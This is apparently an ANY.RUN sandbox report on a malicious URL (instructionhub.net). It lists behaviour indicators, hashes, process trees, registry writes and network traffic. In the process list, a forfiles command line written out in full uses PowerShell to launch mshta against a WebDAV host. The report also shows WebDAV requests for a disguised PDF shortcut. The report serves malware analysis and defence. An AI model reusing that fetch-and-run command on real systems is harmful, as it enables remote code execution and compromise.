URL:

https://instructionhub.net?gad_source=2&gclid=cj0kcqjwz7c2bhdkarisaa_szkb8ehftr_7omldwwsdyitqli7ccvf5zqiwelukyycgyy5zih12yj9uaaqq6ealw_wcb

Full analysis: https://app.any.run/tasks/61da8787-a2bf-4bd3-84c0-c8aa79de2486
Verdict: Malicious activity
Analysis date: August 26, 2024, 12:39:11
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
webdav
Indicators:
MD5:

0B079EAAC1611266C85BB1D73355164D

SHA1:

192485E654CD72B970E79B07CE970E18E9B5FC2A

SHA256:

C65AA499D56EE8A93477BFEF087120AC59A8BD759D09AAB88FA2BCEFE7C1E5BE

SSDEEP:

3:N8LRXELmQiDDk1XNFENoLmyDPtutWMPcQjMX5Qn:2lXELmBk3FENohEPcLX5Q

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Attempting to connect via WebDav

      • svchost.exe (PID: 2576)

    • WebDav connection (SURICATA)

      • svchost.exe (PID: 2576)
      • msedge.exe (PID: 7004)

    • Scans artifacts that could help determine the target

      • mshta.exe (PID: 7208)

    • Changes powershell execution policy (Unrestricted)

      • mshta.exe (PID: 7208)
      • mshta.exe (PID: 7380)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 7328)
      • powershell.exe (PID: 7332)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 7328)
      • powershell.exe (PID: 7332)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 7328)
      • powershell.exe (PID: 7332)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 7328)
      • powershell.exe (PID: 7332)

    • Downloads the requested resource (POWERSHELL)

      • powershell.exe (PID: 7328)

    • Dynamically loads an assembly (POWERSHELL)

      • powershell.exe (PID: 7328)
      • powershell.exe (PID: 7332)

  • SUSPICIOUS

    • Uses pipe srvsvc via SMB (transferring data)

      • msedge.exe (PID: 7004)
      • conhost.exe (PID: 1812)
      • conhost.exe (PID: 6456)

    • Uses RUNDLL32.EXE to load library

      • svchost.exe (PID: 2576)

    • Attempting to connect via WebDav

      • msedge.exe (PID: 7004)

    • Abuses WebDav for code execution

      • svchost.exe (PID: 2576)

    • Searches and executes a command on selected files

      • forfiles.exe (PID: 2468)
      • forfiles.exe (PID: 7196)

    • Drops the executable file immediately after the start

      • mshta.exe (PID: 7208)
      • powershell.exe (PID: 7328)

    • Process drops legitimate windows executable

      • mshta.exe (PID: 7208)
      • powershell.exe (PID: 7328)

    • Starts POWERSHELL.EXE for commands execution

      • mshta.exe (PID: 7208)
      • forfiles.exe (PID: 2468)
      • forfiles.exe (PID: 7196)
      • mshta.exe (PID: 7380)

    • Probably obfuscated PowerShell command line is found

      • mshta.exe (PID: 7208)
      • mshta.exe (PID: 7380)

    • The process bypasses the loading of PowerShell profile settings

      • mshta.exe (PID: 7208)
      • mshta.exe (PID: 7380)

    • Cryptography encrypted command line is found

      • powershell.exe (PID: 7328)
      • powershell.exe (PID: 7332)

    • Executable content was dropped or overwritten

      • mshta.exe (PID: 7208)
      • powershell.exe (PID: 7328)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 7328)
      • powershell.exe (PID: 7332)

    • Writes data into a file (POWERSHELL)

      • powershell.exe (PID: 7328)
      • powershell.exe (PID: 7332)

    • Gets file extension (POWERSHELL)

      • powershell.exe (PID: 7328)
      • powershell.exe (PID: 7332)

    • Potential Corporate Privacy Violation

      • svchost.exe (PID: 2576)

    • Extracts files to a directory (POWERSHELL)

      • powershell.exe (PID: 7328)
      • powershell.exe (PID: 7332)

  • INFO

    • Reads Microsoft Office registry keys

      • msedge.exe (PID: 7004)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 7208)
      • mshta.exe (PID: 7380)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 7036)
      • conhost.exe (PID: 1812)
      • conhost.exe (PID: 6456)
      • powershell.exe (PID: 7292)

    • Manual execution by a user

      • forfiles.exe (PID: 2468)
      • forfiles.exe (PID: 7196)

    • Application launched itself

      • msedge.exe (PID: 7004)

    • Checks proxy server information

      • mshta.exe (PID: 7208)
      • powershell.exe (PID: 7328)
      • conhost.exe (PID: 1812)
      • conhost.exe (PID: 6456)
      • mshta.exe (PID: 7380)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 7328)
      • powershell.exe (PID: 7332)

    • Checks whether the specified file exists (POWERSHELL)

      • powershell.exe (PID: 7328)
      • powershell.exe (PID: 7332)

    • Disables trace logs

      • powershell.exe (PID: 7328)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 7328)
      • powershell.exe (PID: 7332)

    • Reads the software policy settings

      • powershell.exe (PID: 7036)
      • powershell.exe (PID: 7292)

    • Create files in a temporary directory

      • powershell.exe (PID: 7036)
      • powershell.exe (PID: 7292)

    • The executable file from the user directory is run by the Powershell process

      • AAC.exe (PID: 7492)
      • AAC.exe (PID: 7208)

    • Checks supported languages

      • AAC.exe (PID: 7492)
      • AAC.exe (PID: 7208)

    • Reads CPU info

      • AAC.exe (PID: 7492)
      • AAC.exe (PID: 7208)

    • Reads mouse settings

      • AAC.exe (PID: 7492)
      • AAC.exe (PID: 7208)

    • Reads Windows Product ID

      • AAC.exe (PID: 7492)
      • AAC.exe (PID: 7208)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 7332)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
175
Monitored processes
43
Malicious processes
7
Suspicious processes
2

Behavior graph

Click at the process to see the details
start msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs identity_helper.exe no specs svchost.exe forfiles.exe no specs conhost.exe no specs powershell.exe no specs mshta.exe powershell.exe conhost.exe no specs aac.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs forfiles.exe no specs conhost.exe no specs powershell.exe no specs mshta.exe powershell.exe no specs conhost.exe no specs aac.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs msedge.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
460"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1344 --field-trial-handle=3068,i,15210390498667417674,18286931134270958176,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1812\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—forfiles.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2468"C:\Windows\System32\forfiles.exe" /p C:\Windows\System32 /m cmmon32.exe /c "powershell . \*i*\*2\msh*e https://ghost.resourcepool.store/webdav/reg/SHCOREC:\Windows\System32\forfiles.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
ForFiles - Executes a command on selected files
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\forfiles.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\version.dll
c:\windows\system32\gdi32full.dll
2576C:\WINDOWS\system32\svchost.exe -k LocalService -p -s WebClientC:\Windows\System32\svchost.exe
services.exe
User:
LOCAL SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2588"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --no-appcompat-clear --mojo-platform-channel-handle=4460 --field-trial-handle=3068,i,15210390498667417674,18286931134270958176,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
3004"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=7568 --field-trial-handle=3068,i,15210390498667417674,18286931134270958176,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3160"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=5540 --field-trial-handle=3068,i,15210390498667417674,18286931134270958176,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
3268"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --no-appcompat-clear --mojo-platform-channel-handle=7264 --field-trial-handle=3068,i,15210390498667417674,18286931134270958176,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Edge
Exit code:
0
Version:
122.0.2365.59
Modules
Images
c:\program files (x86)\microsoft\edge\application\msedge.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files (x86)\microsoft\edge\application\122.0.2365.59\msedge_elf.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
4088"C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.59\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=5288 --field-trial-handle=3068,i,15210390498667417674,18286931134270958176,262144 --variations-seed-version /prefetch:8C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.59\identity_helper.exe—msedge.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
PWA Identity Proxy Host
Exit code:
0
Version:
122.0.2365.59
4760\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
45 437
Read events
45 249
Write events
182
Delete events
6

Modification events

(PID) Process:(7004) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon
Operation:writeName:failed_count
Value:
0
(PID) Process:(7004) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon
Operation:writeName:state
Value:
2
(PID) Process:(7004) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\ThirdParty
Operation:writeName:StatusCodes
Value:
(PID) Process:(7004) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\ThirdParty
Operation:writeName:StatusCodes
Value:
01000000
(PID) Process:(7004) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon
Operation:writeName:state
Value:
1
(PID) Process:(7004) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\EdgeUpdate\ClientState\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}
Operation:writeName:dr
Value:
1
(PID) Process:(7004) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\StabilityMetrics
Operation:writeName:user_experience_metrics.stability.exited_cleanly
Value:
0
(PID) Process:(7004) msedge.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge
Operation:writeName:UsageStatsInSample
Value:
1
(PID) Process:(7004) msedge.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}
Operation:writeName:usagestats
Value:
0
(PID) Process:(7004) msedge.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}
Operation:writeName:urlstats
Value:
0
Executable files
21
Suspicious files
248
Text files
117
Unknown types
7

Dropped files

PID
Process
Filename
Type
7004msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old~RF12a04f.TMP —
MD5:—
SHA256:—
7004msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old —
MD5:—
SHA256:—
7004msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old~RF12a07e.TMP —
MD5:—
SHA256:—
7004msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db\LOG.old~RF12a07e.TMP —
MD5:—
SHA256:—
7004msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\parcel_tracking_db\LOG.old —
MD5:—
SHA256:—
7004msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\LOG.old~RF12a07e.TMP —
MD5:—
SHA256:—
7004msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\LOG.old —
MD5:—
SHA256:—
7004msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old~RF12a07e.TMP —
MD5:—
SHA256:—
7004msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db\LOG.old —
MD5:—
SHA256:—
7004msedge.exeC:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG.old~RF12a08e.TMP —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
65
TCP/UDP connections
94
DNS requests
55
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
6108
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
2576
svchost.exe
PROPFIND
301
188.114.97.3:80
http://download.instructionclub.com/
unknown
—
—
whitelisted
2576
svchost.exe
PROPFIND
301
188.114.97.3:80
http://download.instructionclub.com/
unknown
—
—
whitelisted
2576
svchost.exe
OPTIONS
301
188.114.97.3:80
http://download.instructionclub.com/
unknown
—
—
whitelisted
2576
svchost.exe
PROPFIND
301
188.114.97.3:80
http://download.instructionclub.com/Downloads
unknown
—
—
whitelisted
2576
svchost.exe
PROPFIND
301
188.114.97.3:80
http://download.instructionclub.com/Downloads
unknown
—
—
whitelisted
2576
svchost.exe
PROPFIND
301
188.114.97.3:80
http://download.instructionclub.com/Downloads/
unknown
—
—
whitelisted
2576
svchost.exe
PROPFIND
301
188.114.97.3:80
http://download.instructionclub.com/Downloads
unknown
—
—
whitelisted
2576
svchost.exe
PROPFIND
301
188.114.97.3:80
http://download.instructionclub.com/Downloads/desktop.ini
unknown
—
—
whitelisted
2576
svchost.exe
GET
301
188.114.97.3:80
http://download.instructionclub.com/Downloads/instruction_3.pdf.lnk
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4316
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6112
RUXIMICS.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2120
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
6660
msedge.exe
104.21.62.2:443
instructionhub.net
—
—
unknown
7004
msedge.exe
239.255.255.250:1900
—
—
—
whitelisted
6660
msedge.exe
13.107.42.16:443
config.edge.skype.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
6660
msedge.exe
13.107.21.239:443
edge.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
6660
msedge.exe
13.107.6.158:443
business.bing.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
6660
msedge.exe
13.107.246.57:443
edge-mobile-static.azureedge.net
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
google.com
  • 142.250.184.206
whitelisted
config.edge.skype.com
  • 13.107.42.16
whitelisted
instructionhub.net
  • 104.21.62.2
  • 172.67.217.120
unknown
edge.microsoft.com
  • 13.107.21.239
  • 204.79.197.239
whitelisted
api.edgeoffer.microsoft.com
  • 94.245.104.56
whitelisted
business.bing.com
  • 13.107.6.158
whitelisted
edge-mobile-static.azureedge.net
  • 13.107.246.57
whitelisted
bzib.nelreports.net
  • 2.19.126.145
  • 2.19.126.152
whitelisted
cloud.instructionclub.com
  • 188.114.97.3
  • 188.114.96.3
unknown

Threats

PID
Process
Class
Message
2576
svchost.exe
Potential Corporate Privacy Violation
POLICY [ANY.RUN] Retrieves Properties of a Lnk file via WebDAV
6660
msedge.exe
Not Suspicious Traffic
INFO [ANY.RUN] Cloudflare Network Error Logging (NEL)
6660
msedge.exe
Not Suspicious Traffic
INFO [ANY.RUN] Cloudflare Network Error Logging (NEL)
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
https://instructionhub.net?gad_source=2&gclid=cj0kcqjwz7c2bhdkarisaa_szkb8ehftr_7omldwwsdyitqli7ccvf5zqiwelukyycgyy5zih12yj9uaaqq6ealw_wcb